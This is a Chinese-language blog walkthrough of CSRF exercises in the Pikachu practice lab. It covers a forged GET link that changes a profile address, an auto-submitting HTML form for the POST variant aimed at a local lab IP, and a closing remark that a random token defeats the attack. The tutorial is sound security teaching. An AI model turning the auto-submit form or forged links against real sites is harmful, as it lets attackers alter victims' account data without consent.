CSRF跨站请求伪造 之 pikachu 靶场练习

CSRF( Cross-site request forgery,跨站请求伪造)

上一篇中对CSRF是什么进行了基本的了解,以及它与XSS的相比较:初识CSRF

在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了。
接下来我们通过pikachu 靶场里的 CSRF 测试项对 CSRF 的几个类型进行测试。

CSRF(get)

首先打开时一个登录界面。
CSRF跨站请求伪造 之 pikachu 靶场练习_第1张图片

点击提示可以看到可以登录这些用户。
CSRF跨站请求伪造 之 pikachu 靶场练习_第2张图片
然后就可以看到登录之后的界面了
CSRF跨站请求伪造 之 pikachu 靶场练习_第3张图片
当此用户点击修改信息时,使用 burpsuite 抓包,可以看到修改的每一栏信息都在后面的 get 请求中体现出来了。
不过有一些信息在浏览器中体现是经过了 url 编码。
CSRF跨站请求伪造 之 pikachu 靶场练习_第4张图片
那么接下来就可以进行伪造链接。
原来的链接:

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=123&add=%E5%9C%B0%E7%90%83&email=123%40163.com&submit=submit

伪造:
我们尝试把&add 项的中国改为美国。
即把“中国”的 url 编码 :%E5%9C%B0%E7%90%83 改为“美国”的 url 编码:%E7%BE%8E%E5%9B%BD

localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=123&add=%E7%BE%8E%E5%9B%BD&email=123%40163.com&submit=submit

当点击下面已经修改的链接时,就可以看到,地址一项已经变成了“美国”。
CSRF跨站请求伪造 之 pikachu 靶场练习_第5张图片
修改信息时是使用GET请求的话,所有的信息都可以在 url 中体现出来。所以只要能够伪造出这个链接,对其进行处理为我们想要修改的信息,当用户点击这个链接的时候,这个CSRF攻击就达到了。不过用户点击的前提是他在我们要攻击的网站上登录了自己的账户。

CSRF(post)

和前面一样,进行登录进入用户界面。
CSRF跨站请求伪造 之 pikachu 靶场练习_第6张图片
进行修改个人信息操作,使用 burpsuite 抓包,得到的数据包时这样的。
可以看到,POST 型的 CSRF,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。
CSRF跨站请求伪造 之 pikachu 靶场练习_第7张图片
我们知道访问一个网站其实就是访问网站根目录里的文件。
然后我们可以搭建一个站点,在站点上做一个表单。
那么可以有访问我们制作的表单的链接,诱导用户点击此链接,就会向存在 CSRF 的服务器提交 post 请求,就可以达到和前面一样的效果,得以修改个人信息。

攻击者:192.168.43.153
漏洞服务器:192.168.43.153

这里由于实在自己的本机做测试,所以以上两个 IP 都是本机。
查看本机 IP 可打开 cmd 命令输入ipconfig 查看本机 IP 地址。
CSRF跨站请求伪造 之 pikachu 靶场练习_第8张图片
接下来编写一个 post.html 页面,代码如下:

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.43.153/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="男" />
<input id="phonenum" type="text" name="phonenum" value="3212" />
<input id="add" type="text" name="add" value="地球村" />
<input id="email" type="text" name="email" value="[email protected]" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后我们把post.html 放进 pikachu-csrf-post 项的根目录中:
pikachu\vul\csrf\csrfpost
CSRF跨站请求伪造 之 pikachu 靶场练习_第9张图片
然后就得到网站:

http://192.168.43.153/pikachu/vul/csrf/csrfpost/post.html

如果用户点击了此链接,就可以达到信息修改的目的。

结果自己测试点击这个链接,出现了下面这个问题,目前也不太清楚怎么回事~
不知道是权限问题还是防火墙啥的。
不过这个测试的过程是没问题的。正常情况下点击构造的链接是可以达到修改信息的目的。
CSRF跨站请求伪造 之 pikachu 靶场练习_第10张图片

CSRF(token)

和前面一样,在登录界面进行信息修改,用 Burp 进行抓包。
可以看到,与前面的相比,这里的参数中多了token 一项,这是一项随机值。
所以就无法进行伪造 url 了,目前含有 token 的 CSRF 没有办法通过。
可以得出防御CSRF 的一种方法可以是增加 token 参数。
CSRF跨站请求伪造 之 pikachu 靶场练习_第11张图片

你可能感兴趣的:(靶场测试,csrf,pikachu)